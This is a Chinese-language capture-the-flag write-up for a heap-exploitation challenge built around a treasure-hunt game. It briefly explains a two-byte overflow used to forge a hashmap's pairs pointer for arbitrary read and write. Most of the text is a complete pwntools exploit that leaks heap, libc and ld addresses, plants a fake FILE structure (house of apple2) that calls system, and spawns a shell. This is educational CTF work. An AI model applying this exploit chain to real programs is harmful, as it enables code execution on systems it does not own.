IDA分析
这是一个寻宝小游戏
init函数初始化地图并把有效地点存入hashmap中。
漏洞点,申请0xxxx8大小的块可以溢出的下一块的数据区两个字节(这个很重要)。
a1是由hashmap的key决定的如果我们可以控制hashmap可以在此实现任意读写。
dream操作
题目特意在hashmap初始化前将一个块放到了tcache中,这个块是故事的起点。
可以看到上面的大块可以覆盖到0x20小块的数据区,正好这个小块存放着hashmap的pairs指针我们只需要覆盖其低地址并且在可控制的块伪造pairs和修改一些关键字符(dream操作)就可以完成伪造,伪造之后就可以实现将任意的key放在hashmap中从而实现任意读任意写。
逆向分析数据结构
我刚才提到了" 修改关键字符 ",如上图在hashmap每插入一对pair的时候都会产生一个字符用于标识key,所以我们只需要搞明白字符是怎么来的和字符应该放在哪里。上图我也写了注释,v8就是我们要确定的字符。
实际上字符位置的确定是根据两个移位运算的余和已经插入hashmap的数量来决定。所以我们可以重复插入过程新增我们想要的key到已经初始化的hashmap中一次一个的利用可以减少计算量。
本题的库版本是2.35故使用house of apple2来解决。
解题脚本
from pwn import *
from hashlib import sha256
def gd():
gdb.attach(p)
pause()
def read_or_write(idx,v,mode):
p.recvuntil(b'Today, where are we going, captain?')
p.sendline(str(idx).encode())
p.recvline()
p.recvline()
t = p.recvline()[:-1]
t = t.split()
p.recvuntil(b'Captain! we have 2 choices now. Bury more coins or get some?(b for bury and g for get)')
if b'no' in t[3]:
o = 0
else:
o = int(t[3].decode())
if mode == 0:
p.send(b'g')
p.recvuntil(b'How many to get?')
p.sendline(str(0).encode())
p.recvuntil(b'Content length: ')
p.sendline(str(0x9999).encode())
# p.recvuntil(b'Do you get what you want, captain?(y to end exploration)')
#p.sendline(b'n')
return o
else:
if o < v:
p.send(b'b')
p.recvuntil(b'How many to bury?')
p.sendline(str(v - o).encode())
p.recvuntil(b'Content length: ')
p.sendline(str(0x9999).encode())
else:
p.send(b'g')
p.recvuntil(b'How many to get?')
p.sendline(str(o - v).encode())
p.recvuntil(b'Content length: ')
p.sendline(str(0x9999).encode())
def init():
p.recvuntil(b'Drawing...')
p.recvline()
for i in range(0x1c):
t = p.recvline()[:-1]
#print(t)
f = 0
if b'un' not in t:
f = 1
t = t.split(b' ')
if f == 1:
safe.append(t[1][:-1])
l.append(t[1][:-1])
p.recvuntil(b'Ready to roll!')
def add_coin(idx):
p.recvuntil(b'Today, where are we going, captain?')
p.sendline(str(idx).encode())
p.recvuntil(b'Mining...\n')
t = p.recvline()[:-1]
t = t.split()
print(t)
p.recvuntil(b'Captain! we have 2 choices now. Bury more coins or get some?(b for bury and g for get)')
p.send(b'g')
o = int(t[3].decode())
print(o)
p.recvuntil(b'How many to get?')
p.sendline(str(o - 1).encode())
p.recvuntil(b'Content length: ')
p.sendline(str(0x9999).encode())
#p.interactive()
def calc_and_put(key):
loca = 0
value = 0
h = u64(sha256(p64(key)).digest()[:8])
h1 = h >> 4
value = h >> 57
loca = (h1 % (32 // 16))
put(28 if loca == 1 else 12,value,1)
def put(loca,value,mode):
p.recvuntil(b'Today, where are we going, captain?')
p.sendline(str(235).encode())
p.recvline()
p.recvline()
t = p.recvline()[:-1]
p.recvuntil(b'Captain! we have 2 choices now. Bury more coins or get some?(b for bury and g for get)')
p.send(b'g')
p.recvuntil(b'How many to get?')
p.sendline(str(0).encode())
p.recvuntil(b'Content length: ')
p.sendline(str(0x10).encode())
p.send(b'a')
p.recvuntil(b'Buy?(y for yes)')
p.send(b'y')
if mode == 0:
p.recvuntil(b"Hello, my boy! I'm your god. I'll give you a mysterious number, if you know how to use this number, You can then get a thing called flag: ")
heap_base = int(p.recv(14),16) - 0x122c0
p.sendline(str(0xfff).encode())
p.recvuntil(b'Do you get what you want, captain?(y to end exploration)')
p.send(b'n')
return heap_base
else:
p.recvuntil(b'Now tell me where you want to write: ')
p.sendline('{:d}'.format(loca).encode())
p.recvuntil(b': ')
p.send(p8(value))
p.recvuntil(b'Do you get what you want, captain?(y to end exploration)')
p.send(b'n')
def chunk(size,data,mode=0):
p.recvuntil(b'Today, where are we going, captain?')
p.sendline(str(235).encode())
p.recvline()
p.recvline()
t = p.recvline()[:-1]
p.recvuntil(b'Captain! we have 2 choices now. Bury more coins or get some?(b for bury and g for get)')
p.send(b'g')
p.recvuntil(b'How many to get?')
p.sendline(str(0).encode())
p.recvuntil(b'Content length: ')
p.sendline(str(size).encode())
p.send(data)
p.recvuntil(b'Buy?(y for yes)')
p.send(b'n')
p.recvuntil(b'Do you get what you want, captain?(y to end exploration)')
if mode == 1:
p.send(b'Y')
#gd()
p.recvuntil(b'They must be very precious!')
p.send(b'cat flag\x00')
else:
p.send(b'n')
def get_pairs(off):
p=flat([
p64(0x00000000000008b1), p64(0x0000000000000000),
p64(0x0000000000000558), p64(0x0000000000000001),
p64(0x00000000000005da), p64(0x0000000000000000),
p64(0x0000000000000c18), p64(0x0000000000000000),
p64(0x0000000000000a9f), p64(0x0000000000000000),
p64(0x00000000000003b9), p64(0x0000000000000000),
p64(0x0000000000000ec7), p64(0x0000000000000001),
p64(0x00000000000000e4), p64(0x0000000000000001),
p64(0x0000000000000cae), p64(0x0000000000000000),
p64(0x0000000000000e29), p64(0x0000000000000001),
p64(0x0000000000000f75), p64(0x0000000000000000),
p64(0x000000000000031e), p64(0x0000000000000001),
p64(off), p64(1),
p64(0x0000000000000b30), p64(0x0000000000000001),
p64(0x0000000000000c4d), p64(0x0000000000000001),
p64(0x000000000000083b), p64(0x0000000000000001),
p64(0x00000000000004b3), p64(0x0000000000000000),
p64(0x0000000000000c6e), p64(0x0000000000000001),
p64(0x00000000000006c4), p64(0x0000000000000000),
p64(0x0000000000000d13), p64(0x0000000000000001),
p64(0x000000000000015d), p64(0x0000000000000001),
p64(0x0000000000000615), p64(0x0000000000000001),
p64(0x000000000000024a), p64(0x0000000000000000),
p64(0x00000000000006e6), p64(0x0000000000000001),
p64(0x0000000000000e64), p64(0x0000000000000001),
p64(0x0000000000000259), p64(0x0000000000000001),
p64(0x00000000000004ec), p64(0x0000000000000001),
p64(0x00000000000000eb), p64(0x0000000000000001),
p64(off), p64(1),
])
return p
coin = 0
safe = []
l = []
p = process("./pwn")
libc = ELF("/home/cforce/Desktop/pwn_tools/glibc-all-in-one-master/libs/2.35-0ubuntu3.6_amd64/libc.so.6")
init()
add_coin(235)
add_coin(1260)
add_coin(601)
add_coin(1766)
heap_base = put(1,1,0)
payload = b'b' * 0x10 + p64(heap_base + 0x12910) + p64(heap_base + 0x12910 + 0x200) * 2 + p64(0) + get_pairs(0x3f18)
chunk(0x3c8,payload)
chunk(0x408,b'b' * 0x408 + p64(0x21) + p16((heap_base + 0x128f0) & 0xffff))
calc_and_put(0x3f18)
leak = p8(read_or_write(0x3f18,0,0))
for i in range(1,6):
payload = b'b' * 0x10 + p64(heap_base + 0x12910) + p64(heap_base + 0x12910 + 0x200) * 2 + p64(0) + get_pairs(0x3f18 + i)
chunk(0x3c8,payload)
calc_and_put(0x3f18 + i)
leak += p8(read_or_write(0x3f18 + i,0,0))
libc_base = u64(leak.ljust(8,b'\x00')) - 0x7e60
print(hex(libc_base))
leak = b''
for i in range(0,6):
payload = b'b' * 0x10 + p64(heap_base + 0x12910) + p64(heap_base + 0x12910 + 0x200) * 2 + p64(0) + get_pairs(0x3f00 + i)
chunk(0x3c8,payload)
calc_and_put(0x3f00 + i)
leak += p8(read_or_write(0x3f00 + i,0,0))
ld_base = u64(leak.ljust(8,b'\x00')) - 0x8d8
print(hex(ld_base))
mmap_addr = ld_base + 0x37000
io_list_all = libc_base + libc.sym['_IO_list_all']
sys_addr = libc_base + libc.sym['system']
fake_io_addr = heap_base + 0x12cb0
fake_wide = fake_io_addr + 0x100
fake_io = b'\x00\x00\x00\x00 sh;' + p64(0) * 3 + p64(0) + p64(1)
fake_io = fake_io.ljust(0xa0,b'\x00')
fake_io += p64(fake_wide)
fake_io = fake_io.ljust(0xd8,b'\x00')
fake_io += p64(libc_base + libc.sym['_IO_wfile_jumps'])
fake_io = fake_io.ljust(0x1e0,b'\x00')
fake_io += p64(fake_io_addr + 0x180) + p64(sys_addr)
chunk(0x500,fake_io)
off = (io_list_all - mmap_addr) & 0xffffffffffffffff
data = p64(fake_io_addr)[:6]
for i in range(len(data)):
payload = b'b' * 0x10 + p64(heap_base + 0x12910) + p64(heap_base + 0x12910 + 0x200) * 2 + p64(0) + get_pairs(off + i)
chunk(0x3c8,payload)
calc_and_put(off + i)
read_or_write(off + i,data[i],1)
gd()
chunk(0x10,b'1',1)
#gd()
p.interactive()
成功getshell
tips:脚本有些混乱仅供参考。